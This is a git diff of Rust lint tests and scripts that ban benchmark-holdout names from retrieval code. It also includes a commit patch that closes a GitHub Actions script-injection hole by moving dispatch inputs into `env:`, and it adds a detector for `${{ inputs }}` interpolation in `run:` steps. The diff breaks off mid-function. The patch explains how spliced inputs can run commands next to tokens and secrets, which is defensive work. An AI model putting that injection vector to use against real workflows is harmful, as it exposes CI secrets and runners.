+ assert!( + output.status.success(), + "one crate off the convention must not stop the lint, stderr={stderr}" + ); + assert!( + !stderr.contains("cannot be derived"), + "the repository's own name must still be derivable, stderr={stderr}" + ); +} + +#[test] +fn a_name_this_workspace_does_not_carry_cannot_claim_the_self_subject_exemption() { + // The other direction, and the reason the derivation exists: the exemption + // may never move to a token that does not start a crate that is actually + // checked in, however many members claim it. Failing closed here is the + // point -- an undeclared name silently claiming the exemption would switch + // this lint off for the holdout that shares it. + let crowded: Vec<&str> = vec![ + "store-a", "store-b", "store-c", "store-d", "store-e", "store-f", "store-g", "store-h", + "store-i", "store-j", "store-k", "store-l", + ]; + let output = run_lint_with_extra_crate_names(&crowded); + let stderr = String::from_utf8_lossy(&output.stderr); + assert_eq!( + output.status.code(), + Some(2), + "an undeclared name claiming the majority must fail closed, stderr={stderr}" + ); + assert!( + stderr.contains("cannot be derived"), + "the refusal must name what it could not derive, stderr={stderr}" + ); +} + +/// The repository paths this lint's verdict depends on, read out of the lint +/// itself so the trigger contract below cannot drift from what is guarded. +fn lint_guarded_paths() -> Vec { + let repo_root = workspace_root(); + let script = lint_script(&repo_root); + let dump_root = TempDir::new().expect("create guarded-path dump root"); + let dump_path = dump_root.path().join("guarded.json"); + + let _guard = LINT_SCRIPT_LOCK + .get_or_init(|| Mutex::new(())) + .lock() + .expect("lock lint script subprocess"); + let output = Command::new("node") + .arg(&script) + .current_dir(&repo_root) + .env( + "CODESTORY_RETRIEVAL_GENERALIZATION_DUMP_GUARDED_PATHS", + &dump_path, + ) + .output() + .expect("run lint guarded-path dump"); + assert!( + output.status.success(), + "lint failed to dump its guarded paths, stderr={}", + String::from_utf8_lossy(&output.stderr) + ); + let doc: serde_json::Value = + serde_json::from_str(&std::fs::read_to_string(&dump_path).expect("read guarded paths")) + .expect("parse guarded paths"); + let mut guarded = Vec::new(); + for group in ["productionDirs", "productionFiles", "corpusDirs", "lintFiles"] { + for entry in doc + .get(group) + .and_then(|value| value.as_array()) + .unwrap_or_else(|| panic!("guarded-path dump carries {group}")) + { + guarded.push(entry.as_str().expect("guarded path is a string").to_owned()); + } + } + assert!( + guarded.len() >= 8, + "the lint should report every surface it reads, got {guarded:?}" + ); + guarded +} + +/// The `paths:` list of one workflow trigger. The workflow's trigger filters are +/// plain scalar sequences, so a targeted reader beats adding a YAML dependency +/// to this crate for one assertion. +fn workflow_trigger_paths(workflow: &str, trigger: &str) -> Vec { + let header = format!(" {trigger}:"); + let mut lines = workflow.lines().skip_while(|line| line.trim_end() != header); + assert!( + lines.next().is_some(), + "workflow has no `{trigger}:` trigger" + ); + let mut paths = Vec::new(); + let mut inside_paths = false; + for line in lines { + let trimmed = line.trim_start(); + if trimmed.is_empty() || trimmed.starts_with('#') { + continue; + } + if line.len() - trimmed.len() <= 2 { + break; + } + if trimmed == "paths:" { + inside_paths = true; + continue; + } + if inside_paths { + match trimmed.strip_prefix("- ") { + Some(entry) => paths.push(entry.trim().to_owned()), + None => inside_paths = false, + } + } + } + paths +} + +fn trigger_filter_covers(filter: &str, guarded: &str) -> bool { + if filter == guarded { + return true; + } + match filter.strip_suffix("/**") { + Some(prefix) => guarded == prefix || guarded.starts_with(&format!("{prefix}/")), + None => false, + } +} + +#[test] +fn retrieval_smoke_workflow_triggers_on_every_path_the_lint_guards() { + // The generalization gate runs in retrieval-engine-smoke, and that workflow + // is path-filtered. A filter that omits the guarded production, the corpus + // the bans are derived from, or the lint itself means a PR that reintroduces + // steering, edits the lint, or adds a pending excuse never runs the gate -- + // the gate the docs claim, not firing on the code it guards. + let workflow_path = workspace_root().join(".github/workflows/retrieval-engine-smoke.yml"); + let workflow = std::fs::read_to_string(&workflow_path).expect("read retrieval smoke workflow"); + let guarded = lint_guarded_paths(); + + for trigger in ["pull_request", "push"] { + let filters = workflow_trigger_paths(&workflow, trigger); + assert!( + filters.len() > 5, + "`{trigger}` paths did not parse, got {filters:?}" + ); + let uncovered: Vec<&String> = guarded + .iter() + .filter(|path| { + !filters + .iter() + .any(|filter| trigger_filter_covers(filter, path)) + }) + .collect(); + assert!( + uncovered.is_empty(), + "retrieval-engine-smoke `{trigger}` never fires on these paths the generalization \ + lint reads: {uncovered:?}" + ); + } +} + #[test] fn a_probe_task_root_never_writes_into_the_checked_in_corpus() { let corpus = workspace_root().join("benchmarks/tasks"); @@ -946,6 +1255,73 @@ fn a_probe_task_root_never_writes_into_the_checked_in_corpus() { ); } +/// Every banned pattern the lint reported, keyed by the fixture file it named. +/// Asserting only that a fixture's name appears in stderr cannot tell "the ban +/// I planted fired" from "some unrelated ban matched the same file", so a lost +/// ban reads as a covered one. Reading the pattern out of the report closes +/// that gap, and every test that plants a ban uses it. +fn reported_patterns_by_fixture(stderr: &str) -> std::collections::BTreeMap> { + let mut reported: std::collections::BTreeMap> = + std::collections::BTreeMap::new(); + for line in stderr.lines() { + let Some(rest) = [ + "Banned pattern /", + "Banned literal pattern /", + "Banned compact benchmark marker /", + ] + .iter() + .find_map(|prefix| line.strip_prefix(prefix)) else { + continue; + }; + // A pattern can contain `/` itself (`data/indexer`, `lib/axios\.js`), so + // the header is split at the last `/ in `, not the first slash. + let Some(split) = rest.rfind("/ in ") else { + continue; + }; + let (pattern, tail) = rest.split_at(split); + let tail = &tail["/ in ".len()..]; + let Some(path_end) = tail.rfind(" (") else { + continue; + }; + let file = tail[..path_end] + .rsplit(['/', '\\']) + .next() + .unwrap_or_default() + .to_owned(); + reported.entry(file).or_default().push(pattern.to_owned()); + } + reported +} + +/// The corpus text a reported pattern is about, with its regex scaffolding +/// removed: identity bans carry their own boundaries, and every ban escapes its +/// literal. Comparing this against the planted text is what turns "something +/// fired" into "the ban I planted fired". +fn banned_pattern_core(pattern: &str) -> String { + pattern + .trim_start_matches("(?:^|[^A-Za-z0-9])") + .trim_start_matches("(?:^|[^A-Za-z0-9_])") + .trim_end_matches("(?![A-Za-z0-9])") + .trim_end_matches("(?![A-Za-z0-9_])") + .replace('\\', "") + .to_lowercase() +} + +/// True when the lint's report for `fixture` names a ban that is about +/// `planted` rather than about some incidental text in the fixture wrapper. +fn ban_fired_for( + reported: &std::collections::BTreeMap>, + fixture: &str, + planted: &str, +) -> bool { + let planted = planted.to_lowercase(); + reported.get(fixture).is_some_and(|patterns| { + patterns + .iter() + .any(|pattern| planted.contains(&banned_pattern_core(pattern))) + }) +} + fn corpus_manifest_names(corpus: &Path) -> Vec { let mut names = std::fs::read_dir(corpus) .expect("read benchmark task corpus") @@ -1054,12 +1430,57 @@ fn linter_bans_holdout_repository_names_on_identifier_boundaries() { "expected the corpus to name many repositories, found {names:?}" ); + // Each name is planted four ways. The bare literal is the easy shape -- it + // is already delimited by its own quotes, so a boundary that treats `_` as + // part of the identifier still reports it. The other three are the shapes a + // re-introduced steering site actually takes in Rust, where `_` is the word + // separator: `sourcetrail_index`, `index_sourcetrail`, + // `redis_command_boost`, `AXIOS_PATH_BOOST`. A ban that only survives the + // first shape is lost in practice, and only planting the evading shapes can + // say so. let mut fixtures = Vec::new(); + let mut planted: Vec<(String, String)> = Vec::new(); for (index, name) in names.iter().enumerate() { - fixtures.push(( - format!("repo_name_{index}.rs"), - format!("pub const PLANTED: &str = \"{name} cache key\";\n"), - )); + let mut shapes = vec![ + ( + format!("repo_name_{index}.rs"), + format!("pub const PLANTED: &str = \"{name} cache key\";\n"), + format!("{name} cache key"), + ), + ( + format!("repo_glue_{index}.rs"), + format!("pub const PLANTED: &str = \"boost_{name}_paths\";\n"), + format!("boost_{name}_paths"), + ), + ]; + // The identifier shapes need a name that is legal identifier text; the + // hyphenated slugs (`chinook-database`) can only be planted as literals. + if name + .chars() + .all(|c| c.is_ascii_alphanumeric() || c == '_') + && name.starts_with(|c: char| c.is_ascii_alphabetic()) + { + shapes.push(( + format!("repo_fn_{index}.rs"), + format!( + "pub fn {}_command_boost(path: &str) -> f32 {{ 1.0 }}\n", + name.to_lowercase() + ), + format!("{}_command_boost", name.to_lowercase()), + )); + shapes.push(( + format!("repo_const_{index}.rs"), + format!( + "pub const {}_PATH_BOOST: f32 = 1.5;\n", + name.to_uppercase() + ), + format!("{}_PATH_BOOST", name.to_uppercase()), + )); + } + for (file_name, contents, text) in shapes { + fixtures.push((file_name.clone(), contents)); + planted.push((file_name, text)); + } } let borrowed: Vec<(&str, &str)> = fixtures .iter() @@ -1067,21 +1488,35 @@ fn linter_bans_holdout_repository_names_on_identifier_boundaries() { .collect(); let output = run_lint_with_named_fixtures(&borrowed); let stderr = String::from_utf8_lossy(&output.stderr); + let reported_patterns = reported_patterns_by_fixture(&stderr); + let planted_by_file: std::collections::BTreeMap<&str, &str> = planted + .iter() + .map(|(file, text)| (file.as_str(), text.as_str())) + .collect(); let mut unbanned = Vec::new(); let mut stale_rulings = Vec::new(); for (index, name) in names.iter().enumerate() { - let reported = stderr.contains(&format!("repo_name_{index}.rs")); - match (reported, ruled_out.contains_key(name.as_str())) { - (false, false) => unbanned.push(name.clone()), - (true, true) => stale_rulings.push(name.clone()), - _ => {} + let is_ruled_out = ruled_out.contains_key(name.as_str()); + for prefix in ["repo_name", "repo_glue", "repo_fn", "repo_const"] { + let fixture = format!("{prefix}_{index}.rs"); + let Some(text) = planted_by_file.get(fixture.as_str()) else { + continue; + }; + // The ban has to be about the name we planted, not about some other + // corpus marker that happened to match the same fixture. + let reported = ban_fired_for(&reported_patterns, &fixture, text); + match (reported, is_ruled_out) { + (false, false) => unbanned.push(format!("{name} ({fixture})")), + (true, true) => stale_rulings.push(format!("{name} ({fixture})")), + _ => {} + } } } assert!( unbanned.is_empty(), - "these corpus repository names are not banned and are not ruled out in \ - CORPUS_NAMES_RULED_OUT_OF_THE_BAN: {unbanned:?}" + "these corpus repository names are not banned in the shape shown and are not ruled out \ + in CORPUS_NAMES_RULED_OUT_OF_THE_BAN: {unbanned:?}" ); assert!( stale_rulings.is_empty(), @@ -1089,7 +1524,20 @@ fn linter_bans_holdout_repository_names_on_identifier_boundaries() { rulings: {stale_rulings:?}" ); - let unrelated = run_lint_with_fixture(r#"pub const PROSE: &str = "answers welcome";"#); + // The boundary must stay a boundary. A letter or digit glued to the token + // makes a different word, and widening the ban to catch `sourcetrail_index` + // must not also ban `tokio` (`okio`) or `answerswrongly` (`swr`). + let unrelated = run_lint_with_fixture( + r#"use tokio::sync::Mutex; + +pub const PROSE: &str = "answers welcome"; +pub const ADVERB: &str = "answerswrongly"; + +pub fn held() -> Mutex { + Mutex::new(0) +} +"#, + ); assert!( unrelated.status.success(), "a repository name must not match inside ordinary words, stderr={}", @@ -1340,9 +1788,13 @@ fn linter_still_reports_every_ban_it_had_before_the_corpus_was_derived() { "the pre-derivation ban floor must fail lint, stderr={stderr}" ); + // A report is only proof of coverage if the ban it names is about the text + // we planted; "the fixture appears in stderr" would also be satisfied by an + // unrelated marker matching the same line. + let reported = reported_patterns_by_fixture(&stderr); let mut lost = Vec::new(); for (index, planted) in PRE_DERIVATION_BAN_FLOOR.iter().enumerate() { - if !stderr.contains(&format!("floor-{index}.rs")) { + if !ban_fired_for(&reported, &format!("floor-{index}.rs"), planted) { lost.push(*planted); } } @@ -1357,3 +1809,85 @@ fn linter_still_reports_every_ban_it_had_before_the_corpus_was_derived() { residualBannedLiterals in scripts/lint-retrieval-generalization.mjs: {lost:?}" ); } + +#[test] +fn linter_still_reports_its_bans_when_a_separator_is_glued_to_them() { + // The floor above plants each ban alone inside `"..."`, so the quotes + // already delimit it and a boundary that counts `_` as identifier text + // still reports it. That is not the shape a re-introduced steering site + // takes: Rust spells its steering `sourcetrail_index`, `axios_adapter`, + // `redis_command_boost`, `AXIOS_PATH_BOOST`. Planting the same floor glued + // to `_` is the only way the floor can tell "still banned" from "banned + // only in the shape nobody writes". + let glued: Vec<&&str> = PRE_DERIVATION_BAN_FLOOR + .iter() + .filter(|planted| { + planted.chars().all(|c| c.is_ascii_alphanumeric()) + && planted.starts_with(|c: char| c.is_ascii_alphabetic()) + }) + .collect(); + assert!( + glued.len() > 30, + "the floor should have many single-token bans to glue, found {}", + glued.len() + ); + + let mut fixtures = Vec::new(); + let mut planted_by_file: std::collections::BTreeMap = + std::collections::BTreeMap::new(); + for (index, planted) in glued.iter().enumerate() { + for (shape, file_name, contents, text) in [ + ( + "literal", + format!("glued-lit-{index}.rs"), + format!("pub const PLANTED: &str = \"boost_{planted}_paths\";\n"), + format!("boost_{planted}_paths"), + ), + ( + "function", + format!("glued-fn-{index}.rs"), + format!( + "pub fn {}_command_boost(path: &str) -> f32 {{ 1.0 }}\n", + planted.to_lowercase() + ), + format!("{}_command_boost", planted.to_lowercase()), + ), + ( + "constant", + format!("glued-const-{index}.rs"), + format!( + "pub const {}_PATH_BOOST: f32 = 1.5;\n", + planted.to_uppercase() + ), + format!("{}_PATH_BOOST", planted.to_uppercase()), + ), + ] { + let _ = shape; + fixtures.push((file_name.clone(), contents)); + planted_by_file.insert(file_name, text); + } + } + let borrowed: Vec<(&str, &str)> = fixtures + .iter() + .map(|(name, contents)| (name.as_str(), contents.as_str())) + .collect(); + let output = run_lint_with_named_fixtures(&borrowed); + let stderr = String::from_utf8_lossy(&output.stderr); + assert!( + !output.status.success(), + "the glued ban floor must fail lint, stderr={stderr}" + ); + + let reported = reported_patterns_by_fixture(&stderr); + let mut lost = Vec::new(); + for (file_name, text) in &planted_by_file { + if !ban_fired_for(&reported, file_name, text) { + lost.push(text.clone()); + } + } + assert!( + lost.is_empty(), + "these bans are lost the moment a separator touches them, which is how a \ + steering site would actually spell them: {lost:?}" + ); +} diff --git a/scripts/lint-retrieval-generalization.mjs b/scripts/lint-retrieval-generalization.mjs index 4ceb5a64c..7b9c39150 100644 --- a/scripts/lint-retrieval-generalization.mjs +++ b/scripts/lint-retrieval-generalization.mjs @@ -194,31 +194,63 @@ const requiredScanDirs = [ // The product's own crate vocabulary: a benchmark task that runs against this // repository names these, and the product has to keep naming itself. -const crateNameTokens = readdirSync(path.join(repoRoot, "crates"), { withFileTypes: true }) +const checkedInCrateNames = readdirSync(path.join(repoRoot, "crates"), { withFileTypes: true }) .filter((entry) => entry.isDirectory()) - .map((entry) => entry.name.split(/[^A-Za-z0-9]+/).filter(Boolean)); + .map((entry) => entry.name); +// Additive only, and provably non-widening: an extra name joins the count and +// the total, and the derived name still has to start a crate that is actually +// checked in. Extra names can therefore make the derivation fail closed, never +// hand the self-subject exemption to a name this workspace does not carry. +const extraCrateNames = (process.env.CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_CRATE_NAMES ?? "") + .split(path.delimiter) + .filter(Boolean); +const nameTokens = (name) => name.split(/[^A-Za-z0-9]+/).filter(Boolean); +const crateNameTokens = checkedInCrateNames.map(nameTokens); const productIdentityTokens = new Set( crateNameTokens.flat().map((token) => token.toLowerCase()), ); // This repository's own name, read from the crates rather than written down: -// every crate is `codestory-`, so the token they all share is what the +// every crate is `codestory-`, so the token that starts them is what the // repository is called. Deciding self-subjecthood on any crate-name token // instead would hand the exclusion to a holdout that happened to be called // `store`, `runtime`, or `bench`, and silently switch this lint off for it. +// +// A strict majority, not unanimity. Unanimity reads the same on today's tree +// and is far more brittle: one crate that does not follow the convention -- a +// vendored shim, a scratch member -- leaves no shared prefix and turns this +// lint off for the whole repository with an exit 2 no contributor can connect +// to their change. A majority still admits exactly one token, so a holdout +// named `store` cannot claim the exemption unless half this workspace is +// named after it. +const crateNamePrefixCounts = new Map(); +for (const tokens of [...crateNameTokens, ...extraCrateNames.map(nameTokens)]) { + const prefix = tokens[0]?.toLowerCase(); + if (prefix == null) { + continue; + } + crateNamePrefixCounts.set(prefix, (crateNamePrefixCounts.get(prefix) ?? 0) + 1); +} +const checkedInCratePrefixes = new Set( + crateNameTokens.map((tokens) => tokens[0]?.toLowerCase()).filter(Boolean), +); +const countedCrateNameTotal = crateNameTokens.length + extraCrateNames.length; const productRepositoryNames = new Set( - crateNameTokens.length === 0 - ? [] - : crateNameTokens - .map((tokens) => tokens[0]?.toLowerCase()) - .filter((token, _index, tokens) => - token != null && tokens.every((other) => other === token) - ), + [...crateNamePrefixCounts] + .filter(([prefix, count]) => + count * 2 > countedCrateNameTotal && checkedInCratePrefixes.has(prefix) + ) + .map(([prefix]) => prefix), ); if (productRepositoryNames.size === 0) { + const seen = [...crateNamePrefixCounts] + .map(([prefix, count]) => `${prefix} (${count})`) + .sort() + .join(", "); console.error( - "lint-retrieval-generalization: crate names share no common prefix, so this " - + "repository's own name cannot be derived", + "lint-retrieval-generalization: no crate-name prefix starts a majority of this " + + `workspace's ${countedCrateNameTotal} crate(s), so this repository's own name ` + + `cannot be derived; prefixes seen: ${seen || "none"}`, ); process.exit(2); } @@ -331,6 +363,28 @@ const evalCorpusRoots = [ path.join(repoRoot, "crates", "codestory-bench", "tests", "fixtures", "agent_quality"), ]; +// The repository paths whose contents decide this lint's verdict: the +// production it reads, the corpus its bans are derived from, and the files that +// make up the lint itself. A CI trigger that does not cover all of them runs +// the gate on everything except the code it guards, so the guard suite reads +// this list out of the lint rather than keeping a second copy that can drift. +const dumpGuardedPathsPath = process.env.CODESTORY_RETRIEVAL_GENERALIZATION_DUMP_GUARDED_PATHS; +if (dumpGuardedPathsPath) { + const asRepoPath = (absolute) => + path.relative(repoRoot, absolute).replaceAll(path.sep, "/"); + writeFileSync(dumpGuardedPathsPath, JSON.stringify({ + productionDirs: requiredScanDirs.map(asRepoPath), + productionFiles: requiredProductionOnlyFiles.map(asRepoPath), + corpusDirs: [asRepoPath(benchmarkTaskRoot)], + lintFiles: [ + "scripts/lint-retrieval-generalization.mjs", + "scripts/cross-repo-sourcetrail-queries.mjs", + asRepoPath(pendingSurfacePath), + ], + })); + process.exit(0); +} + const missingBenchmarkBoundaryFiles = [ ...benchmarkIdentityScriptFiles, ...benchmarkPromptScriptFiles.map(({ filePath }) => filePath), @@ -512,10 +566,18 @@ function benchmarkManifestDerivedPatterns() { // Repository identity is short enough ("swr", "okio", "mdn") that substring // matching would flag unrelated words, so identity tokens carry their own // boundaries instead of relying on length. +// +// The boundary is alphanumeric-only on purpose. `_` is a word character to a +// regex but a *separator* to a programmer: `sourcetrail_index`, +// `axios_adapter`, and `SOURCETRAIL_PATH_BOOST` are exactly the shape a +// re-introduced steering site takes in Rust, and treating `_` as part of the +// identifier would let every one of them through while the bare token still +// failed. Only a letter or digit glued to the token makes it a different word +// (`tokio` around `okio`, `answerswrongly` around `swr`). function benchmarkIdentityDerivedPatterns() { return [...benchmarkCorpusMarkerSet.identity] .sort() - .map((token) => `(?:^|[^A-Za-z0-9_])${escapeRegExp(token)}(?![A-Za-z0-9_])`); + .map((token) => `(?:^|[^A-Za-z0-9])${escapeRegExp(token)}(?![A-Za-z0-9])`); } // Split string literals rejoin into the same marker, so the compact scan needs diff --git a/scripts/retrieval-generalization-pending.json b/scripts/retrieval-generalization-pending.json index 191d3399a..d98424039 100644 --- a/scripts/retrieval-generalization-pending.json +++ b/scripts/retrieval-generalization-pending.json @@ -149,12 +149,12 @@ "issue": "https://github.com/TheGreenCedar/CodeStory/issues/1573", "reason": "Citation ranking contains explicit per-file boosts for holdout paths, including path.ends_with checks on corpus file names. This is the largest single benchmark-shaped surface left and the ranking has to be rebuilt on structural signals.", "markers": { - "(?:^|[^A-Za-z0-9_])ctx\\.py(?![A-Za-z0-9_])": 1, - "(?:^|[^A-Za-z0-9_])io_client\\.dart(?![A-Za-z0-9_])": 1, - "(?:^|[^A-Za-z0-9_])logger\\.php(?![A-Za-z0-9_])": 1, - "(?:^|[^A-Za-z0-9_])mapper\\.cs(?![A-Za-z0-9_])": 1, - "(?:^|[^A-Za-z0-9_])scaffold\\.py(?![A-Za-z0-9_])": 1, - "(?:^|[^A-Za-z0-9_])typemap\\.cs(?![A-Za-z0-9_])": 1, + "(?:^|[^A-Za-z0-9])ctx\\.py(?![A-Za-z0-9])": 1, + "(?:^|[^A-Za-z0-9])io_client\\.dart(?![A-Za-z0-9])": 1, + "(?:^|[^A-Za-z0-9])logger\\.php(?![A-Za-z0-9])": 1, + "(?:^|[^A-Za-z0-9])mapper\\.cs(?![A-Za-z0-9])": 1, + "(?:^|[^A-Za-z0-9])scaffold\\.py(?![A-Za-z0-9])": 1, + "(?:^|[^A-Za-z0-9])typemap\\.cs(?![A-Za-z0-9])": 1, "CreateMapperLambda": 1, "IMapper": 1, "IOClient": 1, From e47a4733888b30a9b2695f4898c9f1f4db977620 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 13:07:06 -0500 Subject: [PATCH 053/132] route every dispatch input through step env, and refuse the shape generically GitHub expression interpolation is textual: the value is spliced into a `run:` body as characters before any shell exists, and double quotes do not stop command substitution. A dispatched value written into script text therefore executes on the runner, beside whatever token, environment secret, or self-hosted host state that step carries. #1554 fixed this in marketplace-sync.yml and pinned the fix with `validateMarketplaceSync` -- a validator named after one file, which by construction cannot fail on a second. Parsing every workflow found the same shape in seven more: 32 steps, 55 occurrences, including all nine "Emit authenticated ... release cell" steps, whose `--expected-sha` is the commit the whole evidence graph is filed against. Every one of those now reads from `env:`. The rule that keeps them there is driven by iterating the loaded workflow set rather than by naming files, so a workflow added tomorrow is covered without editing it. Routing a value through `env:` moves it out of reach of the fragment pins that used to name it in script text, so each such pin gained its second half: the script names a variable, and `requireStepEnv` pins the variable to the value the step was reviewed with. No assertion was dropped to accommodate the rewrite. Closes #1566 Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 133 ++++++++- .../scripts/check-workflow-policy.test.mjs | 254 +++++++++++++++++- .github/workflows/linux-vulkan-proof.yml | 35 ++- .github/workflows/macos-metal-proof.yml | 22 +- .github/workflows/packaged-platform-proof.yml | 57 ++-- .github/workflows/plugin-release.yml | 24 +- .../workflows/post-publish-release-smoke.yml | 4 +- .github/workflows/source-proof.yml | 7 +- .github/workflows/windows-vulkan-proof.yml | 31 ++- 9 files changed, 505 insertions(+), 62 deletions(-) diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index fc8a81e92..00a74ebb0 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -186,6 +186,22 @@ function cachePathsExcludeExactOutputs(job) { cachePaths(step).every(cachePath => !forbidden.test(cachePath))); } +/// Routing a dispatched value through `env:` moves it out of the script's text, and out of reach +/// of a fragment pin that used to name it there: `--expected-sha "$INPUT_REF"` reads the same +/// whether `INPUT_REF` carries `inputs.ref` or the pull request head an attacker controls. The +/// fragment pin and this binding pin are two halves of one assertion -- the script names a +/// variable, and the variable names the value the step was reviewed with. +function requireStepEnv(violations, file, job, name, bindings) { + const env = object(namedStep(job, name)?.env); + for (const [key, expected] of Object.entries(bindings)) { + add( + violations, + env[key] === expected, + `${file} step ${name} must bind ${key} to ${expected}`, + ); + } +} + function requireStepUses(violations, file, job, name, expected) { add( violations, @@ -1580,7 +1596,11 @@ function validatePluginAndDraftWorkflows(workflows, violations, graph) { "codestory-release-cell-manifest.mjs produce", "--cell-id source_behavior", "--producer-job full-source-gate", + '--expected-sha "$RESOLVED_REF"', ]); + requireStepEnv(violations, sourceFile, full, "Emit authenticated source release cell", { + RESOLVED_REF: "${{ needs.resolve.outputs.ref }}", + }); const sourceCellUpload = namedStep(full, "Upload authenticated source release cell"); add( violations, @@ -2793,7 +2813,11 @@ function validatePackagedProof(workflows, violations, graph) { "package_identity:${{ matrix.asset_target }}", "--producer-job build", "--archive", + '--expected-sha "$INPUT_REF"', ]); + requireStepEnv(violations, file, job, "Emit authenticated package release cell", { + INPUT_REF: "${{ inputs.ref }}", + }); const packageCellUpload = namedStep(job, "Upload authenticated package release cell"); add( violations, @@ -3642,9 +3666,13 @@ function validateRemainingWorkflows(workflows, violations) { `${metalFile} candidate-installed validation must be an explicit Bash boundary`, ); requireStepRun(violations, metalFile, job, "Validate candidate-installed mode", [ - 'test "${{ inputs.server_behavior_only }}" = true', - 'test "${{ inputs.calibration_mode }}" = false', + 'test "$SERVER_BEHAVIOR_ONLY" = true', + 'test "$CALIBRATION_MODE" = false', ]); + requireStepEnv(violations, metalFile, job, "Validate candidate-installed mode", { + SERVER_BEHAVIOR_ONLY: "${{ inputs.server_behavior_only }}", + CALIBRATION_MODE: "${{ inputs.calibration_mode }}", + }); requireStepRun(violations, metalFile, job, "Prepare checksum-pinned embedded model", ["node scripts/prepare-embedded-model.mjs"]); requireStepRun(violations, metalFile, job, "Capture host evidence", ["python3 --version", 'test "$macos_major" -ge 15']); add( @@ -3779,7 +3807,20 @@ function validateRemainingWorkflows(workflows, violations) { "codestory-release-cell-manifest.mjs produce", "accelerator_execution:macos-arm64-metal", "--producer-job packaged-metal", + '--expected-sha "$INPUT_REF"', + ]); + requireStepRun(violations, metalFile, job, "Emit authenticated macOS retrieval-readiness release cell", [ + "retrieval_readiness:macos-arm64", + "--producer-job packaged-metal", + '--expected-sha "$INPUT_REF"', ]); + for (const cell of [ + "Emit authenticated Metal release cell", + "Emit authenticated macOS retrieval-readiness release cell", + "Emit authenticated candidate-installed macOS release cell", + ]) { + requireStepEnv(violations, metalFile, job, cell, { INPUT_REF: "${{ inputs.ref }}" }); + } const metalCellUpload = namedStep(job, "Upload authenticated Metal release cell"); add( violations, @@ -3792,6 +3833,7 @@ function validateRemainingWorkflows(workflows, violations) { "candidate_installed_behavior:macos-arm64", "--producer-job packaged-metal", "candidate_managed_plugin", + '--expected-sha "$INPUT_REF"', ]); forbidStepRun( violations, @@ -3926,9 +3968,12 @@ function validateRemainingWorkflows(workflows, violations) { `${vulkanFile} candidate-installed validation must require explicit candidate mode`, ); requireStepRun(violations, vulkanFile, job, "Validate candidate-installed mode", [ - 'if ("${{ inputs.server_behavior_only }}" -ne "true")', + 'if ($env:SERVER_BEHAVIOR_ONLY -ne "true")', "candidate_installed_proof requires server_behavior_only", ]); + requireStepEnv(violations, vulkanFile, job, "Validate candidate-installed mode", { + SERVER_BEHAVIOR_ONLY: "${{ inputs.server_behavior_only }}", + }); const sourceBuildTools = namedStep(job, "Capture source build tool evidence"); add( violations, @@ -4078,7 +4123,15 @@ function validateRemainingWorkflows(workflows, violations) { "codestory-release-cell-manifest.mjs produce", "accelerator_execution:windows-x64-vulkan", "--producer-job packaged-vulkan", + '--expected-sha "$INPUT_REF"', ]); + for (const cell of [ + "Emit authenticated Vulkan release cell", + "Emit authenticated Windows retrieval-readiness release cell", + "Emit authenticated candidate-installed Windows release cell", + ]) { + requireStepEnv(violations, vulkanFile, job, cell, { INPUT_REF: "${{ inputs.ref }}" }); + } const releaseCell = namedStep(job, "Emit authenticated Vulkan release cell"); add( violations, @@ -4098,6 +4151,12 @@ function validateRemainingWorkflows(workflows, violations) { "candidate_installed_behavior:windows-x64", "--producer-job packaged-vulkan", "candidate_managed_plugin", + '--expected-sha "$INPUT_REF"', + ]); + requireStepRun(violations, vulkanFile, job, "Emit authenticated Windows retrieval-readiness release cell", [ + "retrieval_readiness:windows-x64", + "--producer-job packaged-vulkan", + '--expected-sha "$INPUT_REF"', ]); forbidStepRun( violations, @@ -4190,8 +4249,11 @@ function validateRemainingWorkflows(workflows, violations) { `${linuxVulkanFile} candidate-installed validation must require explicit candidate mode`, ); requireStepRun(violations, linuxVulkanFile, job, "Validate candidate-installed mode", [ - 'test "${{ inputs.server_behavior_only }}" = true', + 'test "$SERVER_BEHAVIOR_ONLY" = true', ]); + requireStepEnv(violations, linuxVulkanFile, job, "Validate candidate-installed mode", { + SERVER_BEHAVIOR_ONLY: "${{ inputs.server_behavior_only }}", + }); const packageDownload = namedStep(job, "Download exact Linux package"); add( violations, @@ -4282,7 +4344,11 @@ function validateRemainingWorkflows(workflows, violations) { "retrieval_readiness:linux-x64", "candidate_installed_behavior:linux-x64", "--producer-job packaged-vulkan", + '--expected-sha "$INPUT_REF"', ]); + requireStepEnv(violations, linuxVulkanFile, job, "Emit authenticated Linux Vulkan release cells", { + INPUT_REF: "${{ inputs.ref }}", + }); forbidStepRun( violations, linuxVulkanFile, @@ -4516,6 +4582,59 @@ function validateReleaseCellUploadOwnership(workflows, violations) { ); } +/// Every `${{ ... }}` in a piece of text, matched up to its own first `}}` so an expression that +/// contains a single brace (`fromJSON('{"a":1}')`) is still bounded by its real terminator. +const interpolations = /\$\{\{[\s\S]*?\}\}/gu; + +/// Any mention of the `inputs` context, however it is spelled. GitHub serves the same dispatched +/// value under `inputs.version`, `github.event.inputs.version`, and `inputs['version']`, and an +/// expression can bury it in a function call, so this matches the context name itself rather than +/// any one path through it. `outputs` does not contain `inputs`, and a word character before it +/// (`my_inputs`) is not the context. +const namesADispatchInput = /\binputs\b/u; + +export function interpolatedDispatchInputs(run) { + return [...String(run).matchAll(interpolations)] + .map(match => match[0]) + .filter(expression => namesADispatchInput.test(expression)); +} + +/// Dispatched values must reach a script through `env:`, never through the script's own text. +/// +/// Expression interpolation happens before any shell exists: GitHub splices the value into the +/// `run:` body as characters, and the shell then parses the result. Double quotes do not stop +/// `$(...)` or backticks, so a dispatcher who can name the value can run commands on the runner -- +/// beside whatever `GH_TOKEN`, environment secret, or self-hosted host state that step carries. +/// `env:` is not textual: the value arrives as a variable and `"$VAR"` is inert. +/// +/// #1554 fixed this in marketplace-sync.yml and pinned the fix with `validateMarketplaceSync`, a +/// validator named after one file. That shape cannot fail on a second file no matter how many +/// times the same splice is written, and eight other workflows carried it. This rule is driven by +/// the loaded workflow set instead, so it reads whatever workflows exist at the time it runs and a +/// workflow added tomorrow is covered without anyone editing this function. +/// +/// The rule reads `run:` only. A dispatched value in an action input (`with.ref`) or an `if:` is a +/// different surface with a different argument, pinned separately where it belongs. +export function dispatchInputInterpolationViolations(workflows) { + const violations = []; + for (const [file, workflow] of workflows) { + for (const [jobId, job] of 